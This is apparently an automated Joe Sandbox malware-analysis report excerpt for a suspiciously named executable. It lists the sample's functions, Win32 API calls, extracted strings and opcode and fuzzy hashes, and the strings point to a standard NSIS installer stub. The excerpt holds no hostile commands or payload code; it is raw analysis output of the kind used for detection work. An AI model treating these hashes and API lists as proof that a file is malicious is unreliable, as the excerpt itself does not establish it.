GetWindowRect.USER32(?,000000FF), ref: 004057CE
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004057E7
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405823
OpenClipboard.USER32(00000000), ref: 00405833
EmptyClipboard.USER32 ref: 00405839
GlobalAlloc.KERNEL32(00000042,?), ref: 00405842
GlobalLock.KERNEL32(00000000), ref: 0040584C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405860
GlobalUnlock.KERNEL32(00000000), ref: 00405879
SetClipboardData.USER32(00000001,00000000), ref: 00405884
CloseClipboard.USER32 ref: 0040588A

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 78ad6a42e6b7779d9936bbd3c7a2519bba8c6928c53ce4858c467149458cc8c2
Instruction ID: 4cf6c47baa67300a2587cb91bb909ead9d18e5d8973f7e879562a42f7fe873d6
Opcode Fuzzy Hash: 78ad6a42e6b7779d9936bbd3c7a2519bba8c6928c53ce4858c467149458cc8c2
Instruction Fuzzy Hash: 58A16A71A00609FFDB11AFA0DE89EAE7BB9EB44354F40403AFA44B61A0C7754D51DF68

Function 00403E33 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E6F
ShowWindow.USER32(?), ref: 00403E8F
GetWindowLongA.USER32(?,000000F0), ref: 00403EA1
ShowWindow.USER32(?,00000004), ref: 00403EBA
DestroyWindow.USER32 ref: 00403ECE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403EE7
GetDlgItem.USER32(?,?), ref: 00403F06
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403F1A
IsWindowEnabled.USER32(00000000), ref: 00403F21
GetDlgItem.USER32(?,00000001), ref: 00403FCC
GetDlgItem.USER32(?,00000002), ref: 00403FD6
SetClassLongA.USER32(?,000000F2,?), ref: 00403FF0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00404041
GetDlgItem.USER32(?,00000003), ref: 004040E7
ShowWindow.USER32(00000000,?), ref: 00404108
EnableWindow.USER32(?,?), ref: 0040411A
EnableWindow.USER32(?,?), ref: 00404135
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040414B
EnableMenuItem.USER32(00000000), ref: 00404152
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 0040416A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 0040417D
lstrlenA.KERNEL32(0042A488,?,0042A488,00000000), ref: 004041A7
SetWindowTextA.USER32(?,0042A488), ref: 004041B6
ShowWindow.USER32(?,0000000A), ref: 004042EA

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: bb6cbcf9a1c545d3154f604be3372cfdd7ba41936c4c4c21433e3a1b8f36b1fe
Instruction ID: 7c61018aff81ba8050a36ffdf8d01ac8e149416bf37329b2a87c27abd1a4edd3
Opcode Fuzzy Hash: bb6cbcf9a1c545d3154f604be3372cfdd7ba41936c4c4c21433e3a1b8f36b1fe
Instruction Fuzzy Hash: 60C1F4B1600205ABD7206F61EE49E2B3BBCEB85749F51053EF681B11F1CB799842DB2D

Function 00403A96 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004066B5: GetModuleHandleA.KERNEL32(?,00000000,?,0040351A,0000000C), ref: 004066C7
Part of subcall function 004066B5: GetProcAddress.KERNEL32(00000000,?), ref: 004066E2

lstrcatA.KERNEL32(00436000,0042A488,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A488,00000000,00000002,74DF3410,00436400,?,00435000,0000000A,0000000C), ref: 00403B11
lstrlenA.KERNEL32(0042DFC0,?,?,?,0042DFC0,00000000,00435400,00436000,0042A488,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A488,00000000,00000002,74DF3410), ref: 00403B86
lstrcmpiA.KERNEL32(?,.exe), ref: 00403B99
GetFileAttributesA.KERNEL32(0042DFC0,?,00435000,0000000A,0000000C), ref: 00403BA4
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00435400), ref: 00403BED

Part of subcall function 004061EB: wsprintfA.USER32 ref: 004061F8

RegisterClassA.USER32(0042E7C0), ref: 00403C2A
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403C42
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C77
ShowWindow.USER32(00000005,00000000,?,00435000,0000000A,0000000C), ref: 00403CAD
GetClassInfoA.USER32(00000000,RichEdit20A,0042E7C0), ref: 00403CD9
GetClassInfoA.USER32(00000000,RichEdit,0042E7C0), ref: 00403CE6
RegisterClassA.USER32(0042E7C0), ref: 00403CEF
DialogBoxParamA.USER32(?,00000000,00403E33,00000000), ref: 00403D0E

Strings

RichEd20, xrefs: 00403CB3
RichEdit, xrefs: 00403CE0
RichEd32, xrefs: 00403CC1
.DEFAULT\Control Panel\International, xrefs: 00403AFC
.exe, xrefs: 00403B93
_Nb, xrefs: 00403C09, 00403C71
RichEdit20A, xrefs: 00403CD1, 00403CD7
Control Panel\Desktop\ResourceLocale, xrefs: 00403ACA

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-2904746566
Opcode ID: cb143dc0267d759a9cea0cd43f37dda2b3b0fb558001b9f08e92126bf8417459
Instruction ID: 062707365540321fd28ddc31094d52b8ee002564e62880c3064c6a51a35bf8f0
Opcode Fuzzy Hash: cb143dc0267d759a9cea0cd43f37dda2b3b0fb558001b9f08e92126bf8417459
Instruction Fuzzy Hash: 1A61B4706442006EE620BF629D46F273ABCEB44B49F44443FF945B62E2DB7D99068A3D

Function 00404498 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404523
GetDlgItem.USER32(00000000,000003E8), ref: 00404537
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404555
GetSysColor.USER32(?), ref: 00404566
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404575
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404584
lstrlenA.KERNEL32(?), ref: 00404587
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404596
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004045AB
GetDlgItem.USER32(?,0000040A), ref: 0040460D
SendMessageA.USER32(00000000), ref: 00404610
GetDlgItem.USER32(?,000003E8), ref: 0040463B
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040467B
LoadCursorA.USER32(00000000,00007F02), ref: 0040468A
SetCursor.USER32(00000000), ref: 00404693
LoadCursorA.USER32(00000000,00007F00), ref: 004046A9
SetCursor.USER32(00000000), ref: 004046AC
SendMessageA.USER32(00000111,00000001,00000000), ref: 004046D8
SendMessageA.USER32(00000010,00000000,00000000), ref: 004046EC

Strings

N, xrefs: 00404629
cD@, xrefs: 00404697

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N$cD@
API String ID: 3103080414-2800326580
Opcode ID: 0d552c78708d8b6c3e6a9e133e2a55d80eb6ec1b6100387134d0e82e0d806a6f
Instruction ID: 43684ccacc2d8fb7b4e0a1eb44f66cc69a0b9750f41782283b4d1566cbdab7d9
Opcode Fuzzy Hash: 0d552c78708d8b6c3e6a9e133e2a55d80eb6ec1b6100387134d0e82e0d806a6f
Instruction Fuzzy Hash: 106193B1A00209BBDB109F61DD45F6A3BA9FB84754F10443AFB057B1D1C7B8A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,0042E820,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 036095489b744d328a0284f3af7f80ab3f3a11b0609df675fc3b160fbcb80c66
Instruction ID: 3ddd31971ff36fa992edb7b0d2f538087f25d398410520a6441e316a3758f4e4
Opcode Fuzzy Hash: 036095489b744d328a0284f3af7f80ab3f3a11b0609df675fc3b160fbcb80c66
Instruction Fuzzy Hash: 2E419C71800209AFCB059F95CE459BFBBB9FF44314F00842EF591AA1A0CB349955DFA4

Function 00405EF6 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,00000000,00406087,?,?), ref: 00405F27
GetShortPathNameA.KERNEL32(?,0042C218,00000400), ref: 00405F30

Part of subcall function 00405D85: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D95
Part of subcall function 00405D85: lstrlenA.KERNEL32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DC7

GetShortPathNameA.KERNEL32(?,0042C618,00000400), ref: 00405F4D
wsprintfA.USER32 ref: 00405F6B
GetFileSize.KERNEL32(00000000,00000000,0042C618,C0000000,00000004,0042C618,?,?,?,?,?), ref: 00405FA6
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405FB5
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FED
SetFilePointer.KERNEL32(0040A3D0,00000000,00000000,00000000,00000000,0042BE18,00000000,-0000000A,0040A3D0,00000000,[Rename],00000000,00000000,00000000), ref: 00406043
GlobalFree.KERNEL32(00000000), ref: 00406054
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040605B

Part of subcall function 00405E20: GetFileAttributesA.KERNEL32(00000003,00402F71,00436C00,80000000,00000003,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E24
Part of subcall function 00405E20: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E46

Strings

[Rename], xrefs: 00405FD5, 00405FE7
%s=%s, xrefs: 00405F61

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %s=%s$[Rename]
API String ID: 2171350718-1727408572
Opcode ID: 7fab33d9305e3d35eb4d6262b18c9d607ce8d1b4ed31532576ac5101631bdde8
Instruction ID: da8ce3bfdf00fcfed17b5edaf8d9799a0bf0ff3a482d4f6cc2fc7d52a36fe9c3
Opcode Fuzzy Hash: 7fab33d9305e3d35eb4d6262b18c9d607ce8d1b4ed31532576ac5101631bdde8
Instruction Fuzzy Hash: 3D3135312407117BC220AB65AC88F6B3A5CDF41758F16003BFA02F72D2DE7C98558ABD

Function 004047BF Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040480E
SetWindowTextA.USER32(00000000,?), ref: 00404838
SHBrowseForFolderA.SHELL32(?,00429860,?), ref: 004048E9
CoTaskMemFree.OLE32(00000000), ref: 004048F4
lstrcmpiA.KERNEL32(0042DFC0,0042A488), ref: 00404926
lstrcatA.KERNEL32(?,0042DFC0), ref: 00404932
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404944

Part of subcall function 00405987: GetDlgItemTextA.USER32(?,?,00000400,0040497B), ref: 0040599A

Part of subcall function 00406587: CharNextA.USER32(0000000C,*?|<>/":,00000000,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065DF
Part of subcall function 00406587: CharNextA.USER32(0000000C,0000000C,0000000C,00000000,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065EC
Part of subcall function 00406587: CharNextA.USER32(0000000C,?,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 004065F1
Part of subcall function 00406587: CharPrevA.USER32(0000000C,0000000C,74DF3410,00436400,00435000,004033B3,00436400,00436400,004036B5,?,00000008,0000000A,0000000C), ref: 00406601

GetDiskFreeSpaceA.KERNEL32(00429458,?,?,0000040F,?,00429458,00429458,?,00000001,00429458,?,?,000003FB,?), ref: 00404A02
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404A1D

Part of subcall function 00404B76: lstrlenA.KERNEL32(0042A488,0042A488,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A91,000000DF,00000000,00000400,?), ref: 00404C14
Part of subcall function 00404B76: wsprintfA.USER32 ref: 00404C1C
Part of subcall function 00404B76: SetDlgItemTextA.USER32(?,0042A488), ref: 00404C2F

Strings

A, xrefs: 004048E2

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 65010f81d111a107078dfd81cf5a0743528becb2b33aaf5c40ee420fb77efb02
Instruction ID: f53f9ae5ebeaccab956e1b2ad526c51027fc30446c854342799b5ba7b8d0bc76
Opcode Fuzzy Hash: 65010f81d111a107078dfd81cf5a0743528becb2b33aaf5c40ee420fb77efb02
Instruction Fuzzy Hash: BAA172F1A00209ABDB11AFA5CD45AAF76B8EF84314F14807BF611B62D1D77C89418F6D

Function 00402F31 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F42
GetModuleFileNameA.KERNEL32(00000000,00436C00,00000400,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402F5E

Part of subcall function 00405E20: GetFileAttributesA.KERNEL32(00000003,00402F71,00436C00,80000000,00000003,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E24
Part of subcall function 00405E20: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E46

GetFileSize.KERNEL32(00000000,00000000,00437000,00000000,00435C00,00435C00,00436C00,00436C00,80000000,00000003,?,?,00403722,?,?,00000008), ref: 00402FAA
GlobalAlloc.KERNEL32(00000040,00000008,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 004030E0

Strings

Error launching installer, xrefs: 00402F81
Inst, xrefs: 00403016
8TA, xrefs: 00402FBF
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403107
Null, xrefs: 00403028
soft, xrefs: 0040301F

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: 8TA$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-1977864323
Opcode ID: 0471a428ad8d14c201eb1a2d05761fa305cb24827ec1de9291aed20d949dc82a
Instruction ID: 36ae42bb95036f4d014ef15fc9cddc9856debb4c315f30e11e88dada5eb0dcac
Opcode Fuzzy Hash: 0471a428ad8d14c201eb1a2d05761fa305cb24827ec1de9291aed20d949dc82a
Instruction Fuzzy Hash: 6C510531A01214ABDB209F64DE85B9E7EBCEB0435AF60403BF504B62D2C77C9E418B6D

Function 00406320 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 208stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(0042DFC0,00000400), ref: 00406452
GetWindowsDirectoryA.KERNEL32(0042DFC0,00000400,?,00429C68,00000000,00405409,00429C68,00000000,00000000), ref: 00406468
SHGetPathFromIDListA.SHELL32(00000000,0042DFC0,?,00405409,00000007,?,00429C68,00000000,00405409,00429C68,00000000), ref: 004064C7
CoTaskMemFree.OLE32(00000000,?,00405409,00000007,?,00429C68,00000000,00405409,00429C68,00000000), ref: 004064D0
lstrcatA.KERNEL32(0042DFC0,\Microsoft\Internet Explorer\Quick Launch,?,00429C68,00000000,00405409,00429C68,00000000), ref: 004064F4
lstrlenA.KERNEL32(0042DFC0,?,00429C68,00000000,00405409,00429C68,00000000,00000000,?,74DF23A0), ref: 00406546

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406423
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064EE

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 4f035e6071b976de3853a8921acfec8e3f6599c5ec55354fa89b4c1c1d35bef3
Instruction ID: dd0baf6a3bef4ec2da884e75bd50347be15db8678cbe9dcd308fcfbafd937b9a
Opcode Fuzzy Hash: 4f035e6071b976de3853a8921acfec8e3f6599c5ec55354fa89b4c1c1d35bef3
Instruction Fuzzy Hash: 1361F371900210AADB219F24DD85B7E7BA4AB05714F12813FF807B62C1C67D8966DB9D

Function 00404394 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 004043B1
GetSysColor.USER32(00000000), ref: 004043EF
SetTextColor.GDI32(?,00000000), ref: 004043FB
SetBkMode.GDI32(?,?), ref: 00404407
GetSysColor.USER32(?), ref: 0040441A
SetBkColor.GDI32(?,?), ref: 0040442A
DeleteObject.GDI32(?), ref: 00404444
CreateBrushIndirect.GDI32(?), ref: 0040444E

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction ID: 0cb6da092899fbd89936ee00678fc1211e2f1892718b1dfe439ae8b372ce6297
Opcode Fuzzy Hash: 8c62cc7b680d0f9fb00056791eeffc6cd2931fdceedc16941688e7b217811201
Instruction Fuzzy Hash: E32177715007049BCF309F78D948B577BF8AF81714B04893DEAA6B26E1C734E948CB58

Function 004053D1 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
lstrlenA.KERNEL32(004032C3,00429C68,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
lstrcatA.KERNEL32(00429C68,004032C3,004032C3,00429C68,00000000,?,74DF23A0), ref: 0040542D
SetWindowTextA.USER32(00429C68,00429C68), ref: 0040543F
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8f7b4f01caaf6d1e12ead9ba64632b4b1eb20c2348e45d3c9541951699492127
Instruction ID: 7fccb86dafa480228006d80d04b82b7e1b017f67e9930a1aa42837d262fd4390
Opcode Fuzzy Hash: 8f7b4f01caaf6d1e12ead9ba64632b4b1eb20c2348e45d3c9541951699492127
Instruction Fuzzy Hash: 81218971900118BBDF11AFA5CD85ADEBFA9EB05354F14807AF944B6291C6788E81CFA8

Function 00404C80 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404C9B
GetMessagePos.USER32 ref: 00404CA3
ScreenToClient.USER32(?,?), ref: 00404CBD
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404CCF
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404CF5

Strings

f, xrefs: 00404CD1

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
Instruction ID: 8ac1eb656b69e247d5f05692bef4687e0c0d70a1275d834663b2b8f38aac2a1a
Opcode Fuzzy Hash: fbe7a9a9d251da3c9c448e6b1369ef84c2200939816a620fb3ee489aa4668e2c
